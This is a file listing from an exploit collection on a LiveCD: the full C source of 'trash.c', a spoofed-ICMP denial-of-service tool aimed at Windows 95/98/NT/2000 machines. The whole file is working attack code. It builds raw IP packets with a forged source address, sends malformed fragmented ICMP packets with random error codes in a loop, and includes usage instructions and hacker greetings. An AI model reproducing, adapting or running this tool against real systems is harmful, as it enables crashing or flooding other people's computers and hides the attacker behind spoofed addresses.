home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / trash.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  187 lines

  1. /* Simple denial of service attack against Windows98/95/2000/NT Machines
  2.    Overview: sends random, spoofed, ICMP packets with randomly choosen
  3.    ICMP error codes.
  4.    Result: Freezes the users machine or a CPU usage will rise to extreme
  5.    lag. tested on:
  6.     2.0.35
  7.     2.2.5-15
  8.     2.2.9
  9.     2.0.36
  10.   You may freely alter this code, but give credit where credit is due 
  11.  */
  12. /* greets go out to:
  13.     |gyr0|, Legio2000 Security Research(c)[for the idea and some of
  14.     the code from bloop.c], codesearc, P.A.T.C.H., ppl in
  15.     #ehforce@unet,  #bitchx@unet, 0l3g, packetstorm security
  16.         -coded by misteri0 - [pr0tocol]
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <unistd.h>
  21. #include <stdlib.h>
  22. #include <string.h>
  23. #include <sys/types.h>
  24. #include <sys/time.h>
  25. #include <sys/socket.h>
  26. #include <netdb.h>
  27. #include <netinet/in.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/ip_icmp.h>
  30. void banner(void)
  31. {
  32.  
  33.   printf("trash.c - misteri0@unet [pr0tocol]\n\n");
  34.   printf("\n\n");
  35. }
  36. void usage(const char *progname)
  37. {
  38.   printf("usage:\n");
  39.   printf("./trash [src_ip] [dst_ip] [# of packets]\n",progname);
  40.   printf("\t[*] [ip_src] :  ex: 205.56.78.0\n");
  41.   printf("\t[*] [ip_dst] :  ex: 201.12.3.76\n");
  42.   printf("\t[*] [number]  : 100\n");
  43.   printf("[pr0tocol] We are all connected by a simple line, just have to know where to cut it [pr0tocol]\n");
  44. }
  45. int resolve( const char *name, unsigned int port, struct sockaddr_in *addr )
  46. {
  47.   struct hostent *host;
  48.   memset(addr,0,sizeof(struct sockaddr_in));
  49.   addr->sin_family = AF_INET;
  50.   addr->sin_addr.s_addr = inet_addr(name);
  51.   if (addr->sin_addr.s_addr == -1)
  52.     {
  53.       if (( host = gethostbyname(name) ) == NULL )
  54.         {
  55.           fprintf(stderr,"ERROR: Unable to resolve host %s\n",name);
  56.           return(-1);
  57.         }
  58.       addr->sin_family = host->h_addrtype;
  59.       memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
  60.     }
  61.   addr->sin_port = htons(port);
  62.   return(0);
  63. }
  64. unsigned short in_cksum(addr, len)
  65. u_short *addr;
  66. int len;
  67. {
  68.   register int nleft = len;
  69.   register u_short *w = addr;
  70.   register int sum = 0;
  71.   u_short answer = 0;
  72.  
  73.   while (nleft > 1)
  74.     {
  75.       sum += *w++;
  76.       nleft -= 2;
  77.     }
  78.  
  79.   if (nleft == 1)
  80.     {
  81.       *(u_char *)(&answer) = *(u_char *)w ;
  82.       sum += answer;
  83.     }
  84.  
  85.   sum = (sum >> 16) + (sum & 0xffff);
  86.   sum += (sum >> 16);
  87.   answer = ~sum;
  88.   return(answer);
  89. }
  90. int send_winbomb(int socket,
  91.                  unsigned long spoof_addr,
  92.                  struct sockaddr_in *dest_addr)
  93. {
  94.   unsigned char  *packet;
  95.   struct iphdr   *ip;
  96.   struct icmphdr *icmp;
  97.   int rc;
  98.  
  99.   packet = (unsigned char *)malloc(sizeof(struct iphdr) +
  100.                                    sizeof(struct icmphdr) + 8);
  101.   ip = (struct iphdr *)packet;
  102.   icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
  103.   memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  104.   ip->ihl      = 5;
  105.   ip->version  = 4;
  106.   // ip->tos      = 2;
  107.   ip->id       = htons(1234);
  108.   ip->frag_off |= htons(0x2000);
  109.   // ip->tot_len  = 0;
  110.   ip->ttl      = 30;
  111.   ip->protocol = IPPROTO_ICMP;
  112.   ip->saddr    = spoof_addr;
  113.   ip->daddr    = dest_addr->sin_addr.s_addr;
  114.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  115.  
  116.   icmp->type              = rand() % 15;
  117.   icmp->code              = rand() % 15;
  118.   icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1);
  119.   if (sendto(socket,
  120.              packet,
  121.              sizeof(struct iphdr) +
  122.              sizeof(struct icmphdr) + 1,0,
  123.              (struct sockaddr *)dest_addr,
  124.              sizeof(struct sockaddr)) == -1)
  125.     {
  126.       return(-1);
  127.     }
  128.   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
  129.   ip->frag_off = htons(8 >> 3);
  130.   ip->frag_off |= htons(0x2000);
  131.   ip->check    = in_cksum(ip, sizeof(struct iphdr));
  132.   icmp->type = rand() % 15;
  133.   icmp->code = rand() % 15;
  134.   icmp->checksum = 0;
  135.   if (sendto(socket,
  136.              packet,
  137.              sizeof(struct iphdr) +
  138.              sizeof(struct icmphdr) + 8,0,
  139.              (struct sockaddr *)dest_addr,
  140.              sizeof(struct sockaddr)) == -1)
  141.     {
  142.       return(-1);
  143.     }
  144.   free(packet);
  145.   return(0);
  146. }
  147. int main(int argc, char * *argv)
  148. {
  149.   struct sockaddr_in dest_addr;
  150.   unsigned int i,sock;
  151.   unsigned long src_addr;
  152.   banner();
  153.   if ((argc != 4))
  154.     {
  155.       usage(argv[0]);
  156.       return(-1);
  157.     }
  158.  
  159.   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  160.     {
  161.       fprintf(stderr,"ERROR: Opening raw socket.\n");
  162.       return(-1);
  163.     }
  164.  
  165.   if (resolve(argv[1],0,&dest_addr) == -1)
  166.     {
  167.       return(-1);
  168.     }
  169.   src_addr = dest_addr.sin_addr.s_addr;
  170.   if (resolve(argv[2],0,&dest_addr) == -1)
  171.     {
  172.       return(-1);
  173.     }
  174.   printf("Status: Connected....packets sent.\n",argv[0]);
  175.   for (i = 0;i < atoi(argv[3]);i++)
  176.     {
  177.       if (send_winbomb(sock,
  178.                        src_addr,
  179.                        &dest_addr) == -1)
  180.         {
  181.           fprintf(stderr,"ERROR: Unable to Connect To luser.\n");
  182.           return(-1);
  183.         }
  184.       usleep(10000);
  185.     }
  186. }
  187. /*                    www.hack.co.za              [2000]*/